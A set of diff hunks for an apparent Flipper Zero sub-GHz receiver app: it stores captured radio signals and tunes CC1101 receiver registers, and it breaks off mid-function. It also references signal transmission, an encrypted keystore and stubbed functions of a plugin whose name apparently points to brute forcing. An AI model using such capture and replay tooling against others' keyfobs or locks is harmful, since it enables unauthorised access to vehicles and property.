bool gdr_refresh_protocol_registry(GDRApp* app, bool ensure_receiver_ready);
bool gdr_apply_protocol_registry_for_preset_data(
GDRApp* app,
const uint8_t* preset_data,
size_t preset_data_size);
bool gdr_ensure_variable_item_list(GDRApp* app);
bool gdr_ensure_widget(GDRApp* app);
bool gdr_ensure_text_input(GDRApp* app);
bool gdr_ensure_view_about(GDRApp* app);
bool gdr_ensure_receiver_view(GDRApp* app);
#ifdef ENABLE_DUAL_RX_SCENE
bool gdr_ensure_dual_receiver_view(GDRApp* app);
#endif
void gdr_release_shared_radio_state(GDRApp* app);
void gdr_rx_stack_suspend_for_tx(GDRApp* app);
void gdr_rx_stack_resume_after_tx(GDRApp* app);
void gdr_selected_capture_set(
GDRApp* app,
GDRHistory* history,
FuriMutex* mutex,
uint16_t index,
GDRCaptureOwner owner);
void gdr_selected_capture_clear(GDRApp* app);
bool gdr_selected_capture_is_valid(GDRApp* app);
GDRHistory* gdr_selected_capture_get_history(GDRApp* app);
uint16_t gdr_selected_capture_get_index(GDRApp* app);
GDRHistorySource gdr_selected_capture_get_source(GDRApp* app);
FlipperFormat* gdr_selected_capture_get_raw_data(GDRApp* app);
bool gdr_selected_capture_get_path(GDRApp* app, FuriString* out_path);
void gdr_selected_capture_release_scratch(GDRApp* app);
void gdr_app_free(GDRApp* app);
static const NotificationSequence sequence_tx = {
&message_note_c5,
&message_vibro_on,
&message_red_255,
&message_blue_255,
&message_blink_start_10,
&message_delay_25,
&message_vibro_off,
&message_delay_25,
&message_sound_off,
NULL,
};
@@ -0,0 +1,488 @@
// gdr_history.c
#include "gdr_history.h"
#include "helpers/gdr_storage.h"
#include <lib/subghz/receiver.h>
#include <storage/storage.h>
#include <string.h>
#include <stdio.h>
#include <furi.h>
#include "defines.h"
#define TAG "GDRHistory"
#define HISTORY_SCRATCH_TEXT_RESERVE 256U
#define HISTORY_SCRATCH_PATH_RESERVE 128U
#define HISTORY_ARENA_RESERVE 1024U
static uint32_t gdr_history_next_capture_seq = 0;
typedef struct {
uint32_t seq_id;
uint16_t text_offset;
uint16_t text_len;
uint8_t type;
GDRHistorySource source;
} GDRHistoryItem;
ARRAY_DEF(GDRHistoryItemArray, GDRHistoryItem, M_POD_OPLIST)
struct GDRHistory {
GDRHistoryItemArray_t data;
uint16_t last_index;
uint32_t last_update_timestamp[GDRHistorySourceCount];
uint8_t code_last_hash_data[GDRHistorySourceCount];
Storage* storage;
FlipperFormat* loaded_ff;
int16_t loaded_idx;
FuriString* scratch_text;
FuriString* scratch_path;
FuriString* text_arena;
};
static uint32_t gdr_history_allocate_capture_seq(void) {
uint32_t tick_seed = (uint32_t)(furi_get_tick() & 0x0FFFFFFF);
if(tick_seed == 0) {
tick_seed = 1;
}
FURI_CRITICAL_ENTER();
if(gdr_history_next_capture_seq == 0 ||
gdr_history_next_capture_seq < tick_seed) {
gdr_history_next_capture_seq = tick_seed;
}
uint32_t seq = gdr_history_next_capture_seq++;
if(gdr_history_next_capture_seq == 0) {
gdr_history_next_capture_seq = 1;
}
FURI_CRITICAL_EXIT();
return seq;
}
void gdr_history_release_scratch(GDRHistory* instance) {
furi_check(instance);
if(instance->loaded_ff) {
flipper_format_free(instance->loaded_ff);
instance->loaded_ff = NULL;
}
instance->loaded_idx = -1;
}
static void
gdr_history_build_path(GDRHistory* instance, uint32_t seq_id, FuriString* out) {
UNUSED(instance);
gdr_storage_build_history_path(seq_id, out);
}
static void
gdr_history_delete_capture_file(GDRHistory* instance, uint32_t seq_id) {
gdr_history_build_path(instance, seq_id, instance->scratch_path);
gdr_storage_delete_file(furi_string_get_cstr(instance->scratch_path));
}
static void gdr_history_delete_all_capture_files(GDRHistory* instance) {
size_t item_count = GDRHistoryItemArray_size(instance->data);
for(size_t i = 0; i < item_count; i++) {
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, i);
gdr_history_delete_capture_file(instance, item->seq_id);
}
}
static void
gdr_history_arena_remove(GDRHistory* instance, uint16_t offset, uint16_t len) {
if(len == 0) return;
size_t arena_size = furi_string_size(instance->text_arena);
furi_check((size_t)offset + (size_t)len <= arena_size);
const char* arena = furi_string_get_cstr(instance->text_arena);
FuriString* rebuilt = furi_string_alloc();
furi_check(rebuilt);
furi_string_reserve(rebuilt, arena_size);
furi_string_set_strn(rebuilt, arena, offset);
furi_string_cat_str(rebuilt, arena + offset + len);
furi_string_move(instance->text_arena, rebuilt);
size_t n = GDRHistoryItemArray_size(instance->data);
for(size_t i = 0; i < n; i++) {
GDRHistoryItem* it = GDRHistoryItemArray_get(instance->data, i);
if(it->text_offset > offset) {
it->text_offset -= len;
}
}
}
GDRHistory* gdr_history_alloc(void) {
GDRHistory* instance = malloc(sizeof(GDRHistory));
furi_check(instance);
GDRHistoryItemArray_init(instance->data);
instance->last_index = 0;
memset(instance->last_update_timestamp, 0, sizeof(instance->last_update_timestamp));
memset(instance->code_last_hash_data, 0, sizeof(instance->code_last_hash_data));
instance->storage = furi_record_open(RECORD_STORAGE);
instance->loaded_ff = NULL;
instance->loaded_idx = -1;
instance->scratch_text = furi_string_alloc();
furi_check(instance->scratch_text);
furi_string_reserve(instance->scratch_text, HISTORY_SCRATCH_TEXT_RESERVE);
instance->scratch_path = furi_string_alloc();
furi_check(instance->scratch_path);
furi_string_reserve(instance->scratch_path, HISTORY_SCRATCH_PATH_RESERVE);
instance->text_arena = furi_string_alloc();
furi_check(instance->text_arena);
furi_string_reserve(instance->text_arena, HISTORY_ARENA_RESERVE);
return instance;
}
void gdr_history_free(GDRHistory* instance) {
furi_check(instance);
gdr_history_release_scratch(instance);
gdr_history_delete_all_capture_files(instance);
GDRHistoryItemArray_clear(instance->data);
if(instance->scratch_text) {
furi_string_free(instance->scratch_text);
instance->scratch_text = NULL;
}
if(instance->scratch_path) {
furi_string_free(instance->scratch_path);
instance->scratch_path = NULL;
}
if(instance->text_arena) {
furi_string_free(instance->text_arena);
instance->text_arena = NULL;
}
if(instance->storage) {
furi_record_close(RECORD_STORAGE);
instance->storage = NULL;
}
free(instance);
}
void gdr_history_reset(GDRHistory* instance) {
furi_check(instance);
gdr_history_release_scratch(instance);
gdr_history_delete_all_capture_files(instance);
GDRHistoryItemArray_reset(instance->data);
furi_string_reset(instance->text_arena);
instance->last_index = 0;
memset(instance->last_update_timestamp, 0, sizeof(instance->last_update_timestamp));
memset(instance->code_last_hash_data, 0, sizeof(instance->code_last_hash_data));
}
uint16_t gdr_history_get_item(GDRHistory* instance) {
furi_check(instance);
return GDRHistoryItemArray_size(instance->data);
}
uint16_t gdr_history_get_last_index(GDRHistory* instance) {
furi_check(instance);
return instance->last_index;
}
void gdr_history_format_status_text(
GDRHistory* instance,
char* output,
size_t output_size) {
furi_check(instance);
furi_check(output);
if(output_size == 0) {
return;
}
uint16_t n = gdr_history_get_item(instance);
if(n >= GDR_HISTORY_MAX) {
snprintf(output, output_size, "FULL");
} else {
snprintf(output, output_size, "%u/%u", n, GDR_HISTORY_MAX);
}
}
void gdr_history_get_status_text(GDRHistory* instance, FuriString* output) {
furi_check(instance);
furi_check(output);
char status_text[16];
gdr_history_format_status_text(instance, status_text, sizeof(status_text));
furi_string_set_str(output, status_text);
}
bool gdr_history_get_capture_path(
GDRHistory* instance,
uint16_t idx,
FuriString* out_path) {
furi_check(instance);
furi_check(out_path);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
return false;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
gdr_history_build_path(instance, item->seq_id, out_path);
return true;
}
bool gdr_history_capture_path_equals(
GDRHistory* instance,
uint16_t idx,
const char* path) {
furi_check(instance);
if(!path || idx >= GDRHistoryItemArray_size(instance->data)) {
return false;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
gdr_history_build_path(instance, item->seq_id, instance->scratch_path);
return strcmp(furi_string_get_cstr(instance->scratch_path), path) == 0;
}
GDRHistorySource gdr_history_get_source(
GDRHistory* instance,
uint16_t idx) {
furi_check(instance);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
return GDRHistorySourceUnknown;
}
return GDRHistoryItemArray_get(instance->data, idx)->source;
}
const char* gdr_history_source_name(GDRHistorySource source) {
switch(source) {
case GDRHistorySourceExternal:
return "External";
case GDRHistorySourceInternal:
return "Internal";
default:
return "Unknown";
}
}
bool gdr_history_add_to_history(
GDRHistory* instance,
void* context,
SubGhzRadioPreset* preset,
GDRHistorySource source) {
furi_check(instance);
furi_check(context);
if(source >= GDRHistorySourceCount) {
source = GDRHistorySourceUnknown;
}
if(GDRHistoryItemArray_size(instance->data) >= GDR_HISTORY_MAX) {
return false;
}
SubGhzProtocolDecoderBase* decoder_base = context;
if((instance->code_last_hash_data[source] ==
subghz_protocol_decoder_base_get_hash_data(decoder_base)) &&
((furi_get_tick() - instance->last_update_timestamp[source]) < 500)) {
instance->last_update_timestamp[source] = furi_get_tick();
return false;
}
gdr_history_release_scratch(instance);
furi_string_reset(instance->scratch_text);
furi_string_reset(instance->scratch_path);
subghz_protocol_decoder_base_get_string(decoder_base, instance->scratch_text);
FlipperFormat* temp_ff = flipper_format_string_alloc();
furi_check(temp_ff);
SubGhzProtocolStatus ser =
subghz_protocol_decoder_base_serialize(decoder_base, temp_ff, preset);
if(ser != SubGhzProtocolStatusOk) {
FURI_LOG_E(TAG, "Serialize failed");
flipper_format_free(temp_ff);
return false;
}
if(source != GDRHistorySourceUnknown) {
flipper_format_insert_or_update_string_cstr(
temp_ff, "RadioDevice", gdr_history_source_name(source));
}
uint32_t seq = gdr_history_allocate_capture_seq();
bool saved = gdr_storage_save_history_capture(temp_ff, seq, instance->scratch_path);
flipper_format_free(temp_ff);
if(!saved) {
FURI_LOG_E(TAG, "Failed to save history file");
return false;
}
instance->code_last_hash_data[source] =
subghz_protocol_decoder_base_get_hash_data(decoder_base);
instance->last_update_timestamp[source] = furi_get_tick();
const char* text_cstr = furi_string_get_cstr(instance->scratch_text);
size_t text_len = furi_string_size(instance->scratch_text);
size_t offset = furi_string_size(instance->text_arena);
furi_check(text_len <= UINT16_MAX);
furi_check(offset <= UINT16_MAX);
furi_string_cat_str(instance->text_arena, text_cstr);
GDRHistoryItem* item = GDRHistoryItemArray_push_raw(instance->data);
item->seq_id = seq;
item->text_offset = (uint16_t)offset;
item->text_len = (uint16_t)text_len;
item->type = 0;
item->source = source;
instance->last_index++;
FURI_LOG_I(
TAG,
"Added item %u to history (size: %zu) seq=%lu",
instance->last_index,
GDRHistoryItemArray_size(instance->data),
(unsigned long)seq);
return true;
}
void gdr_history_delete_item(GDRHistory* instance, uint16_t idx) {
furi_check(instance);
size_t item_count = GDRHistoryItemArray_size(instance->data);
if(idx >= item_count) {
return;
}
if(instance->loaded_ff) {
if(instance->loaded_idx == (int16_t)idx) {
gdr_history_release_scratch(instance);
} else if(instance->loaded_idx > (int16_t)idx) {
instance->loaded_idx--;
}
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
uint32_t seq_id = item->seq_id;
uint16_t text_offset = item->text_offset;
uint16_t text_len = item->text_len;
gdr_history_delete_capture_file(instance, seq_id);
GDRHistoryItemArray_pop_at(NULL, instance->data, idx);
gdr_history_arena_remove(instance, text_offset, text_len);
FURI_LOG_I(
TAG,
"Deleted history item %u (size: %zu)",
idx,
GDRHistoryItemArray_size(instance->data));
}
void gdr_history_get_text_item_menu(
GDRHistory* instance,
FuriString* output,
uint16_t idx) {
furi_check(instance);
furi_check(output);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
furi_string_set(output, "---");
return;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
const char* arena = furi_string_get_cstr(instance->text_arena);
const char* str = arena + item->text_offset;
size_t remaining = item->text_len;
size_t len = 0;
while(len < remaining && str[len] != '\r' && str[len] != '\n') {
len++;
}
uint16_t display_idx = idx + 1;
const char* source_tag = "";
if(item->source == GDRHistorySourceExternal) {
source_tag = "[E] ";
} else if(item->source == GDRHistorySourceInternal) {
source_tag = "[I] ";
}
furi_string_printf(output, "%u. %s%.*s", display_idx, source_tag, (int)len, str);
}
void gdr_history_get_text_item_detail(
GDRHistory* instance,
uint16_t idx,
FuriString* output,
SubGhzEnvironment* environment) {
furi_check(instance);
furi_check(output);
UNUSED(environment);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
furi_string_set(output, "---");
return;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
const char* arena = furi_string_get_cstr(instance->text_arena);
furi_string_set_strn(output, arena + item->text_offset, item->text_len);
}
FlipperFormat* gdr_history_get_raw_data(GDRHistory* instance, uint16_t idx) {
furi_check(instance);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
return NULL;
}
if(instance->loaded_idx == (int16_t)idx && instance->loaded_ff) {
return instance->loaded_ff;
}
gdr_history_release_scratch(instance);
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
gdr_history_build_path(instance, item->seq_id, instance->scratch_path);
instance->loaded_ff = flipper_format_file_alloc(instance->storage);
furi_check(instance->loaded_ff);
if(!flipper_format_file_open_existing(
instance->loaded_ff, furi_string_get_cstr(instance->scratch_path))) {
FURI_LOG_E(
TAG, "Failed open history capture %s", furi_string_get_cstr(instance->scratch_path));
flipper_format_free(instance->loaded_ff);
instance->loaded_ff = NULL;
return NULL;
}
instance->loaded_idx = (int16_t)idx;
return instance->loaded_ff;
}
void gdr_history_set_item_str(GDRHistory* instance, uint16_t idx, const char* str) {
furi_check(instance);
furi_check(str);
if(idx >= GDRHistoryItemArray_size(instance->data)) {
return;
}
GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
uint16_t old_offset = item->text_offset;
uint16_t old_len = item->text_len;
gdr_history_arena_remove(instance, old_offset, old_len);
size_t new_offset = furi_string_size(instance->text_arena);
size_t new_len = strlen(str);
furi_check(new_offset <= UINT16_MAX);
furi_check(new_len <= UINT16_MAX);
furi_string_cat_str(instance->text_arena, str);
item->text_offset = (uint16_t)new_offset;
item->text_len = (uint16_t)new_len;
}
@@ -0,0 +1,63 @@
// gdr_history.h
#pragma once
#include <stddef.h>
#include <lib/subghz/receiver.h>
#include <lib/subghz/protocols/base.h>
#define GDR_HISTORY_MAX 10
typedef struct SubGhzEnvironment SubGhzEnvironment;
typedef struct GDRHistory GDRHistory;
typedef enum {
GDRHistorySourceUnknown = 0,
GDRHistorySourceExternal,
GDRHistorySourceInternal,
GDRHistorySourceCount,
} GDRHistorySource;
GDRHistory* gdr_history_alloc(void);
void gdr_history_free(GDRHistory* instance);
void gdr_history_reset(GDRHistory* instance);
uint16_t gdr_history_get_item(GDRHistory* instance);
uint16_t gdr_history_get_last_index(GDRHistory* instance);
GDRHistorySource gdr_history_get_source(
GDRHistory* instance,
uint16_t idx);
const char* gdr_history_source_name(GDRHistorySource source);
void gdr_history_format_status_text(
GDRHistory* instance,
char* output,
size_t output_size);
void gdr_history_get_status_text(GDRHistory* instance, FuriString* output);
bool gdr_history_get_capture_path(
GDRHistory* instance,
uint16_t idx,
FuriString* out_path);
bool gdr_history_capture_path_equals(
GDRHistory* instance,
uint16_t idx,
const char* path);
bool gdr_history_add_to_history(
GDRHistory* instance,
void* context,
SubGhzRadioPreset* preset,
GDRHistorySource source);
void gdr_history_delete_item(GDRHistory* instance, uint16_t idx);
void gdr_history_get_text_item_menu(
GDRHistory* instance,
FuriString* output,
uint16_t idx);
void gdr_history_get_text_item_detail(
GDRHistory* instance,
uint16_t idx,
FuriString* output,
SubGhzEnvironment* environment);
FlipperFormat* gdr_history_get_raw_data(GDRHistory* instance, uint16_t idx);
void gdr_history_release_scratch(GDRHistory* instance);
void gdr_history_set_item_str(GDRHistory* instance, uint16_t idx, const char* str);
@@ -0,0 +1,13 @@
#pragma once
#include <gui/icon.h>
extern const Icon I_DolphinDone_80x58;
extern const Icon I_DolphinWait_59x54;
extern const Icon I_Lock_7x8;
extern const Icon I_PP_scanning_123x52;
extern const Icon I_PP_scanning_ext_123x52;
extern const Icon I_Pin_back_arrow_10x8;
extern const Icon I_WarningDolphin_45x42;
extern const Icon I_gdr_10px;
extern const Icon I_subghz_10px;
@@ -0,0 +1,14 @@
#include "gdr_psa_bf_host.h"
bool gdr_psa_bf_plugin_ensure_loaded(GDRApp* app) {
(void)app;
return false;
}
void gdr_psa_bf_plugin_unload_if_idle(GDRApp* app) {
(void)app;
}
void gdr_psa_bf_context_release(GDRApp* app) {
(void)app;
}
@@ -0,0 +1,15 @@
#pragma once
#include <stdbool.h>
typedef struct GDRApp GDRApp;
bool gdr_psa_bf_plugin_ensure_loaded(GDRApp* app);
void gdr_psa_bf_plugin_unload_if_idle(GDRApp* app);
void gdr_psa_bf_context_release(GDRApp* app);
void gdr_receiver_info_rebuild_normal_widget(void* app);
#ifdef ENABLE_SUB_DECODE_SCENE
void gdr_subdecode_psa_bf_complete_refresh(void* app);
#endif
@@ -0,0 +1,703 @@
// helpers/gdr_rx_chain.c
#include "gdr_rx_chain.h"
#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
#include <furi.h>
#include <loader/firmware_api/firmware_api.h>
#include "../protocols/keys.h"
#define TAG "GDRRxChain"
#define GDR_CHAIN_KEYSTORE_DIR APP_ASSETS_PATH("encrypted")
#define GDR_CC1101_REG_FIFOTHR 0x03U
#define GDR_CC1101_REG_FSCTRL1 0x07U
#define GDR_CC1101_REG_MDMCFG4 0x10U
#define GDR_CC1101_REG_MDMCFG3 0x11U
#define GDR_CC1101_REG_MDMCFG2 0x12U
#define GDR_CC1101_REG_DEVIATN 0x15U
#define GDR_CC1101_REG_AGCCTRL2 0x1BU
#define GDR_CC1101_REG_AGCCTRL1 0x1CU
#define GDR_CC1101_REG_AGCCTRL0 0x1DU
#define GDR_CC1101_REG_FREND1 0x21U
#define GDR_CC1101_REG_TEST2 0x2CU
#define GDR_CC1101_REG_TEST1 0x2DU
#define GDR_CC1101_CHANBW_135_KHZ_MASK 0xA0U
#define GDR_CC1101_XTAL_HZ 26000000UL
#define GDR_FM_BANDWIDTH_GUARD_HZ 50000UL
#define GDR_CC1101_MOD_FORMAT_MASK 0x70U
#define GDR_CC1101_MOD_FORMAT_2FSK 0x00U
#define GDR_CC1101_MOD_FORMAT_GFSK 0x10U
#define GDR_CC1101_MOD_FORMAT_OOK 0x30U
static bool gdr_rx_chain_preset_get_register(
const uint8_t* data,
size_t size,
uint8_t reg,
uint8_t* value) {
if(!data || !value || (size < 2U)) {
return false;
}
for(size_t i = 0; i + 1U < size; i += 2U) {
if((data[i] == 0x00U) && (data[i + 1U] == 0x00U)) {
break;
}
if(data[i] == reg) {
*value = data[i + 1U];
return true;
}
}
return false;
}
static bool gdr_rx_chain_preset_set_register(
uint8_t* data,
size_t size,
uint8_t reg,
uint8_t value) {
if(!data || (size < 2U)) {
return false;
}
for(size_t i = 0; i + 1U < size; i += 2U) {
if((data[i] == 0x00U) && (data[i + 1U] == 0x00U)) {
break;
}
if(data[i] == reg) {
data[i + 1U] = value;
return true;
}
}
return false;
}
static bool gdr_rx_chain_preset_find_terminator(
const uint8_t* data,
size_t size,
size_t* offset) {
if(!data || !offset || size < 2U) {
return false;
}
for(size_t i = 0; i + 1U < size; i += 2U) {
if(data[i] == 0x00U && data[i + 1U] == 0x00U) {
*offset = i;
return true;
}
}
return false;
}
static uint32_t gdr_rx_chain_channel_bandwidth_hz(uint8_t mdmcfg4) {
uint8_t exponent = (mdmcfg4 >> 6U) & 0x03U;
uint8_t mantissa = (mdmcfg4 >> 4U) & 0x03U;
uint32_t denominator = 8UL * (4UL + mantissa) * (1UL << exponent);
return GDR_CC1101_XTAL_HZ / denominator;
}
static uint32_t gdr_rx_chain_data_rate_hz(uint8_t mdmcfg4, uint8_t mdmcfg3) {
uint8_t exponent = mdmcfg4 & 0x0FU;
uint64_t numerator =
(uint64_t)(256UL + mdmcfg3) * (1ULL << exponent) * GDR_CC1101_XTAL_HZ;
return (uint32_t)((numerator + (1ULL << 27U)) >> 28U);
}
static uint32_t gdr_rx_chain_deviation_hz(uint8_t deviatn) {
uint8_t exponent = (deviatn >> 4U) & 0x07U;
uint8_t mantissa = deviatn & 0x07U;
uint64_t numerator =
(uint64_t)GDR_CC1101_XTAL_HZ * (8UL + mantissa) * (1ULL << exponent);
return (uint32_t)((numerator + (1ULL << 16U)) >> 17U);
}
static uint8_t gdr_rx_chain_select_bandwidth_bits(
uint32_t minimum_hz,
uint32_t* selected_hz) {
static const uint8_t bandwidth_bits[] = {
0x0FU,
0x0EU,
0x0DU,
0x0CU,
0x0BU,
0x0AU,
0x09U,
0x08U,
0x07U,
0x06U,
0x05U,
0x04U,
0x03U,
0x02U,
0x01U,
0x00U,
};
const size_t bandwidth_count = sizeof(bandwidth_bits) / sizeof(bandwidth_bits[0]);
for(size_t i = 0; i < bandwidth_count; i++) {
uint32_t bandwidth =
gdr_rx_chain_channel_bandwidth_hz((uint8_t)(bandwidth_bits[i] << 4U));
if(bandwidth >= minimum_hz) {
if(selected_hz) {
*selected_hz = bandwidth;
}
return bandwidth_bits[i];
}
}
if(selected_hz) {
*selected_hz = gdr_rx_chain_channel_bandwidth_hz(0x00U);
}
return 0x00U;
}
static const char* gdr_rx_chain_plugin_path(GDRProtocolRegistryFilter filter) {
return (filter == GDRProtocolRegistryFilterFM) ?
APP_ASSETS_PATH("plugins/gdr_fm_plugin.fal") :
APP_ASSETS_PATH("plugins/gdr_am_plugin.fal");
}
GDRRxChain* gdr_rx_chain_alloc(char label) {
GDRRxChain* chain = malloc(sizeof(GDRRxChain));
furi_check(chain);
memset(chain, 0, sizeof(GDRRxChain));
chain->label = label;
chain->preset.name = furi_string_alloc();
furi_check(chain->preset.name);
chain->state = GDRTxRxStateIDLE;
chain->filter = GDRProtocolRegistryFilterAM;
return chain;
}
static void gdr_rx_chain_unload_plugin(GDRRxChain* chain) {
chain->plugin = NULL;
chain->registry = NULL;
if(chain->plugin_manager) {
plugin_manager_free(chain->plugin_manager);
chain->plugin_manager = NULL;
}
if(chain->resolver) {
composite_api_resolver_free(chain->resolver);
chain->resolver = NULL;
}
}
void gdr_rx_chain_free(GDRRxChain* chain) {
if(!chain) {
return;
}
// Make sure RX is stopped before tearing anything down.
gdr_rx_chain_stop(chain);
if(chain->receiver) {
subghz_receiver_set_rx_callback(chain->receiver, NULL, NULL);
subghz_receiver_free(chain->receiver);
chain->receiver = NULL;
}
if(chain->worker) {
if(subghz_worker_is_running(chain->worker)) {
subghz_worker_stop(chain->worker);
}
subghz_worker_free(chain->worker);
chain->worker = NULL;
}
if(chain->device) {
subghz_devices_idle(chain->device);
radio_device_loader_end(chain->device);
chain->device = NULL;
}
gdr_rx_chain_unload_plugin(chain);
if(chain->environment) {
subghz_environment_free(chain->environment);
chain->environment = NULL;
}
if(chain->preset.name) {
furi_string_free(chain->preset.name);
chain->preset.name = NULL;
}
if(chain->owned_preset_data) {
free(chain->owned_preset_data);
chain->owned_preset_data = NULL;
}
free(chain);
}
bool gdr_rx_chain_acquire_device(
GDRRxChain* chain,
SubGhzRadioDeviceType type) {
furi_check(chain);
chain->device = radio_device_loader_set(NULL, type);
if(!chain->device) {
FURI_LOG_E(TAG, "[%c] Failed to acquire radio device (type=%d)", chain->label, type);
return false;
}
chain->is_external = radio_device_loader_is_external(chain->device);
if(type == SubGhzRadioDeviceTypeExternalCC1101 && !chain->is_external) {
FURI_LOG_E(TAG, "[%c] External requested but unavailable", chain->label);
radio_device_loader_end(chain->device);
chain->device = NULL;
return false;
}
subghz_devices_reset(chain->device);
subghz_devices_idle(chain->device);
FURI_LOG_I(
TAG, "[%c] Acquired %s radio", chain->label, chain->is_external ? "external" : "internal");
return true;
}
bool gdr_rx_chain_set_preset(
GDRRxChain* chain,
SubGhzSetting* setting,
const char* preset_name,
uint32_t frequency) {
furi_check(chain);
furi_check(setting);
furi_check(preset_name);
size_t preset_count = subghz_setting_get_preset_count(setting);
for(size_t i = 0; i < preset_count; i++) {
if(strcmp(subghz_setting_get_preset_name(setting, i), preset_name) == 0) {
return gdr_rx_chain_set_preset_data(
chain,
preset_name,
subghz_setting_get_preset_data(setting, i),
subghz_setting_get_preset_data_size(setting, i),
frequency);
}
}
FURI_LOG_E(TAG, "[%c] Unknown preset %s", chain->label, preset_name);
return false;
}
bool gdr_rx_chain_set_preset_data(
GDRRxChain* chain,
const char* preset_name,
uint8_t* preset_data,
size_t preset_data_size,
uint32_t frequency) {
furi_check(chain);
furi_check(preset_name);
if(!preset_data || preset_data_size < 2U) {
FURI_LOG_E(TAG, "[%c] Invalid preset data for %s", chain->label, preset_name);
return false;
}
if(chain->owned_preset_data) {
free(chain->owned_preset_data);
chain->owned_preset_data = NULL;
}
furi_string_set(chain->preset.name, preset_name);
chain->preset.frequency = frequency;
chain->preset.data = preset_data;
chain->preset.data_size = preset_data_size;
chain->base_preset_data = preset_data;
chain->base_preset_data_size = preset_data_size;
chain->frequency = frequency;
chain->filter =
gdr_get_protocol_registry_filter_for_preset(preset_data, preset_data_size);
uint8_t mdmcfg4 = 0U;
chain->rx_bandwidth_hz = gdr_rx_chain_preset_get_register(
preset_data,
preset_data_size,
GDR_CC1101_REG_MDMCFG4,
&mdmcfg4) ?
gdr_rx_chain_channel_bandwidth_hz(mdmcfg4) :
0U;
return true;
}
static bool gdr_rx_chain_apply_ook_shield_profile(GDRRxChain* chain) {
if(!chain->base_preset_data || chain->preset.data_size < 2U) {
FURI_LOG_E(TAG, "[%c] cannot narrow RX BW without preset data", chain->label);
return false;
}
uint8_t mdmcfg4 = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG4,
&mdmcfg4)) {
FURI_LOG_W(TAG, "[%c] OOK preset missing MDMCFG4; retaining original", chain->label);
return true;
}
const uint8_t narrowed_mdmcfg4 =
(uint8_t)((mdmcfg4 & 0x0FU) | GDR_CC1101_CHANBW_135_KHZ_MASK);
const struct {
uint8_t reg;
uint8_t value;
} narrow_registers[] = {
{GDR_CC1101_REG_FIFOTHR, 0x47U},
{GDR_CC1101_REG_FSCTRL1, 0x06U},
{GDR_CC1101_REG_MDMCFG4, narrowed_mdmcfg4},
{GDR_CC1101_REG_AGCCTRL2, 0x04U},
{GDR_CC1101_REG_AGCCTRL1, 0x00U},
{GDR_CC1101_REG_AGCCTRL0, 0x92U},
{GDR_CC1101_REG_FREND1, 0x56U},
{GDR_CC1101_REG_TEST2, 0x81U},
{GDR_CC1101_REG_TEST1, 0x35U},
};
const size_t register_count = sizeof(narrow_registers) / sizeof(narrow_registers[0]);
size_t missing_count = 0U;
for(size_t i = 0; i < register_count; i++) {
uint8_t value = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
narrow_registers[i].reg,
&value)) {
missing_count++;
}
}
size_t terminator_offset = 0U;
if(!gdr_rx_chain_preset_find_terminator(
chain->base_preset_data, chain->base_preset_data_size, &terminator_offset)) {
FURI_LOG_W(TAG, "[%c] OOK preset has no terminator; retaining original", chain->label);
return true;
}
const size_t expanded_size = chain->base_preset_data_size + (missing_count * 2U);
uint8_t* copy = malloc(expanded_size);
if(!copy) {
FURI_LOG_E(TAG, "[%c] failed to build narrow RX preset", chain->label);
return false;
}
memcpy(copy, chain->base_preset_data, terminator_offset);
size_t write_offset = terminator_offset;
for(size_t i = 0; i < register_count; i++) {
uint8_t value = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
narrow_registers[i].reg,
&value)) {
copy[write_offset++] = narrow_registers[i].reg;
copy[write_offset++] = narrow_registers[i].value;
}
}
memcpy(
&copy[write_offset],
&chain->base_preset_data[terminator_offset],
chain->base_preset_data_size - terminator_offset);
for(size_t i = 0; i < register_count; i++) {
if(!gdr_rx_chain_preset_set_register(
copy, expanded_size, narrow_registers[i].reg, narrow_registers[i].value)) {
FURI_LOG_E(TAG, "[%c] failed to patch narrow RX preset", chain->label);
free(copy);
return false;
}
}
chain->owned_preset_data = copy;
chain->preset.data = copy;
chain->preset.data_size = expanded_size;
chain->rx_bandwidth_hz =
gdr_rx_chain_channel_bandwidth_hz(GDR_CC1101_CHANBW_135_KHZ_MASK);
FURI_LOG_I(TAG, "[%c] applied TI 135 kHz OOK sensitivity profile", chain->label);
return true;
}
static bool gdr_rx_chain_apply_fm_shield_profile(GDRRxChain* chain) {
uint8_t mdmcfg2 = 0U;
uint8_t mdmcfg3 = 0U;
uint8_t mdmcfg4 = 0U;
uint8_t deviatn = 0U;
if(!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG2,
&mdmcfg2) ||
!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG3,
&mdmcfg3) ||
!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_MDMCFG4,
&mdmcfg4) ||
!gdr_rx_chain_preset_get_register(
chain->base_preset_data,
chain->base_preset_data_size,
GDR_CC1101_REG_DEVIATN,
&deviatn)) {
FURI_LOG_W(TAG, "[%c] incomplete FM preset; retaining original bandwidth", chain->label);
return true;
}
uint8_t modulation = mdmcfg2 & GDR_CC1101_MOD_FORMAT_MASK;
if(modulation != GDR_CC1101_MOD_FORMAT_2FSK &&
modulation != GDR_CC1101_MOD_FORMAT_GFSK) {
FURI_LOG_W(TAG, "[%c] unsupported FM format; retaining original bandwidth", chain->label);
return true;
}
uint32_t data_rate = gdr_rx_chain_data_rate_hz(mdmcfg4, mdmcfg3);
uint32_t deviation = gdr_rx_chain_deviation_hz(deviatn);
